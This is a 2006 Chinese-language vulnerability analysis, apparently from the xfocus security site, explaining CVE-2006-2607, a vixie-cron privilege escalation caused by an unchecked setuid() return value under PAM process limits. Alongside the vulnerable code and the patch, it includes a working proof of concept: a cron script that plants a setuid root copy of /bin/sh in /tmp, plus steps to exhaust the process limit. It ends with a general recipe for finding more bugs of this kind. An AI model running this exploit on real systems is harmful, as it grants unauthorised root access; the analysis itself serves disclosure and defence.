xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 Xcon English Version

Setuid() - nproc limit 类型漏洞之深入分析


创建时间:2006-07-21
文章属性:原创
文章提交:Ph4nt0m (axis_at_ph4nt0m.org)

Setuid() - nproc limit 类型漏洞之深入分析
                                        (PST)

---------[ Subject   : Setuid() - nproc limit 类型漏洞之深入分析    ]
---------[ Author    : axis(axis@ph4nt0m.org)                       ]
---------[ Copyright : www.ph4nt0m.org    www.secwiki.com           ]
---------[ Date      : 07/20/2006                                   ]
---------[ Version   : 1.0                                          ]



|=-----------------------------------------------------------------------------=|

---------[ Table of Contents ]

  0x110 - 前言
  0x120 - cron提升权限漏洞
  0x130 - 深入分析
  0x140 - Conclusion
  0x150 - Reference

|=-----------------------------------------------------------------------------=|



---------[ 0x110 - 前言 ]
    前段时间出现了一种新的类型的漏洞,就是未正确检查setuid()函数的返回值.
    setuid()如果执行成功,将返回0,如果执行失败,将返回-1.如果程序以root的身份运行,假设该程序正常setuid(uid)后,讲降低权限为普通用户,但是由于未检查setuid()的返回值,也就是说,出于一些原因,setuid失败了,那么程序可能还将继续以root身份运行.这就导致了一些非常危险的事情可能发生.
    


---------[ 0x110 - vixie cron提升权限漏洞 ]
    前段时间出的vixie cron提升权限漏洞,就是属于该类型的漏洞
    具体公告参见:
    http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607

    crond的守护进程是以root身份启动的,每个普通用户都可以建立自己的crontab
    如果使用了pam_limits.so来限制用户启动的进程数,当用户的crontab里启动的进程数达到了限制数后,就会造成setuid失败,从而该子进程将继承root权限,继续以root身份运行.

    具体我们来POC一下,测试平台是Redhat Enterprise Linux 4 Update 4
    
[axis@localhost temp]$ uname -a
Linux localhost.localdomain 2.6.9-22.ELsmp #1 SMP Mon Sep 19 18:32:14 EDT 2005 i686 i686 i386 GNU/Linux

[axis@localhost temp]$ cat /etc/issue
Red Hat Enterprise Linux AS release 4 (Nahant Update 2)
Kernel \r on an \m

[axis@localhost temp]$ rpm -qa |grep vixie
vixie-cron-4.1-36.EL4

[axis@localhost temp]$ rpm -qa |grep pam
pam_ccreds-1-3
pam_smb-1.1.7-5
pam-devel-0.77-66.11
pam-0.77-66.11
pam_passwdqc-0.7.5-2
pam_krb5-2.1.8-1
spamassassin-3.0.4-1.el4
[axis@localhost temp]$
    

    首先修改/etc/security/limits.conf
    添加如下行:
    axis             hard    nproc           400
    这句的意思是把axis用户启动的进程限制为400

    然后修改/etc/pam.d/crond
    添加如下行:
    session  required   pam_limits.so
    这句的意思是crond使用pam_limits.so,而这个pam的so则是读取/etc/security/limits.conf的配置
    所以在这里,cron就会限制axis用户只能运行400个进程了.

    然后建立axis需要运行的任务.
    建立如下shell脚本

[axis@localhost temp]$ pwd
/home/axis/temp
[axis@localhost temp]$ cat x.sh
#!/bin/sh

cp /bin/sh /tmp/sh
chown root:root /tmp/sh
chmod 4755 /tmp/sh

sleep 1000000;

[axis@localhost temp]$

    该脚本会在/tmp下建立一个suid shell

    然后添加到axis的crontab里:
[axis@localhost temp]$ crontab -e

* * * * * /home/axis/temp/x.sh
~
~
~
~
    保存退出后,就已经建立好了任务了
[axis@localhost temp]$ crontab -l
* * * * * /home/axis/temp/x.sh
[axis@localhost temp]$

这样每分钟,就会运行一次x.sh

仔细看x.sh,因为可以发现,如果没有root权限,那么建立出来的/tmp/sh属主只能是axis.


查看下当前用户的进程数
[axis@localhost temp]$ ps axun | grep '^ *500 ' | wc -l
4
[axis@localhost temp]$

只有4个,而前面在/etc/security/limits.conf里限制axis进程数为400
那么,使用一些消耗的进程

[axis@localhost temp]$ ./daemon -s 100000 -p 380
创建指定的进程数量,父进程退出。
[axis@localhost temp]$ ps axun | grep '^ *500 ' | wc -l
390
[axis@localhost temp]$

daemon这个小程序的作用是在后台启动进程,每个进程sleep 100000s,这里我们启动了380个进程,所以现在进程总数是390

马上就快到400了


[axis@localhost temp]$ ll /tmp
total 608
-rwsr-xr-x  1 axis axis 616312 Jul 21 18:26 sh
[axis@localhost temp]$

可以看到现在/tmp/sh还是axis为属主,说明x.sh还是以axis身份运行的.


过了几分钟后
[root@localhost ~]# ll /tmp
total 608
-rwsr-xr-x  1 root root 616312 Jul 21 18:40 sh
[root@localhost ~]# ps axun | grep '^ *500 ' | wc -l
400
[root@localhost ~]#

可以看到/tmp/sh变成属主为root了!
[root@localhost ~]# ps aufx

......

root      2460  0.0  0.0  3440  512 ?        Ss   Jul12   0:00 gpm -m /dev/input/mice -t exps2
root      2470  0.0  0.0  6400 1096 ?        Ss   Jul12   0:00 crond
root      6020  0.0  0.0  6984 1444 ?        S    18:36   0:00  \_ crond
axis      6021  0.0  0.0  3536  848 ?        Ss   18:36   0:00  |   \_ /bin/sh /home/axis/temp/x.sh
axis      6026  0.0  0.0  3040  456 ?        S    18:36   0:00  |   |   \_ sleep 1000000
axis      6024  0.0  0.1  7956 2556 ?        S    18:36   0:00  |   \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
root      6035  0.0  0.0  6984 1444 ?        S    18:37   0:00  \_ crond
axis      6036  0.0  0.0  3252  844 ?        Ss   18:37   0:00  |   \_ /bin/sh /home/axis/temp/x.sh
axis      6041  0.0  0.0  2576  456 ?        S    18:37   0:00  |   |   \_ sleep 1000000
axis      6039  0.0  0.1  7164 2564 ?        S    18:37   0:00  |   \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
root      6073  0.0  0.0  6984 1444 ?        S    18:38   0:00  \_ crond
axis      6074  0.0  0.0  3096  848 ?        Ss   18:38   0:00  |   \_ /bin/sh /home/axis/temp/x.sh
axis      6079  0.0  0.0  2456  456 ?        S    18:38   0:00  |   |   \_ sleep 1000000
axis      6077  0.0  0.1  6532 2564 ?        S    18:38   0:00  |   \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
root      6481  0.0  0.0  6984 1444 ?        S    18:39   0:00  \_ crond
axis      6482  0.0  0.0  2568  844 ?        Ss   18:39   0:00  |   \_ /bin/sh /home/axis/temp/x.sh
axis      6487  0.0  0.0  2760  456 ?        S    18:39   0:00  |   |   \_ sleep 1000000
root      6485  0.0  0.0     0    0 ?        Z    18:39   0:00  |   \_ [crond] <defunct>
root      6507  0.0  0.0  6980 1420 ?        S    18:40   0:00  \_ crond
root      6508  0.0  0.0  3912  848 ?        Ss   18:40   0:00      \_ /bin/sh /home/axis/temp/x.sh
root      6512  0.0  0.0  3080  456 ?        S    18:40   0:00          \_ sleep 1000000
xfs       2496  0.0  0.0  4228 1416 ?        Ss   Jul12   0:00 xfs -droppriv -daemon
root      2515  0.0  0.0  2024  700 ?        Ss   Jul12   0:00 /usr/sbin/atd
dbus      2525  0.0  0.0  3160 1024 ?        Ss   Jul12   0:00 dbus-daemon-1 --system
root      2538  0.0  0.0  4168 1028 ?        Ss   Jul12   0:00 cups-config-daemon

......

注意这里!
root      6507  0.0  0.0  6980 1420 ?        S    18:40   0:00  \_ crond
root      6508  0.0  0.0  3912  848 ?        Ss   18:40   0:00      \_ /bin/sh /home/axis/temp/x.sh
root      6512  0.0  0.0  3080  456 ?        S    18:40   0:00          \_ sleep 1000000

本来应该是以axis用户身份运行的x.sh,变成以root身份运行了!









---------[ 0x110 - 深入分析 ]


    造成上面漏洞的原因是多方面的.首先,如果在/etc/security/limits.conf里限制了用户的进程数,那么pam_limits.so将调用pam_open_session(),如果是root调用他,则会返回一个PAM_SUCCESS,同时以root执行下去.
    但是当用户进程数达到限制的个数后,pam-0.79-9.6照样允许pam_open_session()成功执行下去,但是这个时候,crond的子进程却会setuid()失败, 而vixie-cron-4.1并没有检查setuid()的返回值,没有检查他是否已经setuid()成功,所以本来应该用setuid()来降权的,却照样以root身份在运行.而此时fork()却是被允许的,即便是已经达到了用户的最大进程数,所以,任务就以root身份继续运行下去了!!

    我们可以看看代码,在do_command.c里:

......

void
do_command(entry *e, user *u) {
        Debug(DPROC, ("[%ld] do_command(%s, (%s,%ld,%ld))\n",
                      (long)getpid(), e->cmd, u->name,
                      (long)e->pwd->pw_uid, (long)e->pwd->pw_gid))

        /* fork to become asynchronous -- parent process is done immediately,
         * and continues to run the normal cron code, which means return to
         * tick().  the child and grandchild don't leave this function, alive.
         *
         * vfork() is unsuitable, since we have much to do, and the parent
         * needs to be able to run off and fork other processes.
         */
        switch (fork()) {
        case -1:
                log_it("CRON", getpid(), "error", "can't fork");
                break;
        case 0:
                /* child process */
                acquire_daemonlock(1);
                child_process(e, u);
                Debug(DPROC, ("[%ld] child process done, exiting\n",
                              (long)getpid()))
                _exit(OK_EXIT);
                break;
        default:
                /* parent process */
                break;
        }


......

                /* set our directory, uid and gid.  Set gid first, since once
                 * we set uid, we've lost root privledges.
                 */
#ifdef LOGIN_CAP
                {
#ifdef BSD_AUTH
                        auth_session_t *as;
#endif


......



#else
                setgid(e->pwd->pw_gid);
                initgroups(usernm, e->pwd->pw_gid);
#if (defined(BSD)) && (BSD >= 199103)
                setlogin(usernm);
#endif /* BSD */
                setuid(e->pwd->pw_uid); /* we aren't root after this... */

#endif /* LOGIN_CAP */
                chdir(env_get("HOME", e->envp));


注意看这里
setgid(e->pwd->pw_gid);
......
setuid(e->pwd->pw_uid); /* we aren't root after this... */

    这里仅仅是简单的执行setuid(),并没有做任何的检查返回值的措施.


再看看patch就更清楚了

[root@localhost SOURCES]# cat vixie-cron-4.1-privilege_escalation.patch
--- vixie-cron-4.1/do_command.c.orig    2006-05-29 16:45:32.000000000 +0200
+++ vixie-cron-4.1/do_command.c 2006-05-29 16:48:28.000000000 +0200
@@ -300,12 +300,24 @@
                        }
                }
#else
-               setgid(e->pwd->pw_gid);
+
                initgroups(usernm, e->pwd->pw_gid);
#if (defined(BSD)) && (BSD >= 199103)
                setlogin(usernm);
#endif /* BSD */
-               setuid(e->pwd->pw_uid); /* we aren't root after this... */
+
+       if ( setgid(e->pwd->pw_gid) == -1 ) {
+               fprintf(stderr,"can't set gid for %s\n", e->pwd->pw_name);
+               _exit(1);
+       }
+
+       if ( setuid(e->pwd->pw_uid) == -1 ) {
+               fprintf(stderr,"can't set uid for %s\n", e->pwd->pw_name);
+               _exit(1);
+       }
+
+               /* we aren't root after this... */
+

#endif /* LOGIN_CAP */
                chdir(env_get("HOME", e->envp));
[root@localhost SOURCES]#

在补丁里,对setuid()和setgid()的返回值都加上了限制.



    这个漏洞主要是pam的特性造成的,即如果是root执行pam_open_session(),那么是可以继续fork()的,即使是user nproc limit达到了限制数,但是此时setuid()却fail了,所以造成了这个问题.其本质就是:fork()正常执行,而setuid()却失败了.





    在Josh的blog上,他曾经提到在2.6内核中,默认给每个用户设置了nproc limit,所以对于2.6内核,是默认都可以成功提权的.
    见:http://www.bress.net/blog/archives/34-setuid-madness.html

    其实这是不正确的.

    init_task.signal->rlim[RLIMIT_NPROC].rlim_cur = max_threads/2;
    init_task.signal->rlim[RLIMIT_NPROC].rlim_max = max_threads/2;
    
    这里确实是限制了用户的进程数,但是RLIMIT_NPROC在2.4内核中就有了,进程数与内存大小等都有关系

    
[root@localhost ~]# ulimit -u
32764
[root@localhost ~]#

    每个用户默认是可以启动32764个进程的,虽然可以使用ulimit -u命令来修改他,但是与/etc/security/limits.conf里限制的user nproc limit还是有区别的.

    经过测试,直接使用ulimit -u来修改进程数,是无法再fork()出来新的用户进程的,这是因为前面提到过这个漏洞还与pam是相关的,利用了pam的特性,会一直成功的fork()





---------[ 0x110 - Conclusion ]

    综上所述,要成功利用该类型的漏洞,需要满足三个条件:
    1) 程序以root身份运行,同时fork()出子进程,其子进程通过setuid()降权
    2) setuid()失败,但是程序并未检查setuid()的返回值
    3) setuid()失败后,还能够继续成功fork(),这样就是以root身份运行了,从而达到了提权的目的.

    pam的nproc limit只是一个例子,只要满足了上面3个条件,应该说都存在此类缺陷,是否还有更多的漏洞来等待我们的挖掘呢?!

    最后感谢 thiefox,gary



---------[ 0x110 - Reference ]

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607
https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=178431
http://www.bress.net/blog/archives/34-setuid-madness.html





-EOF-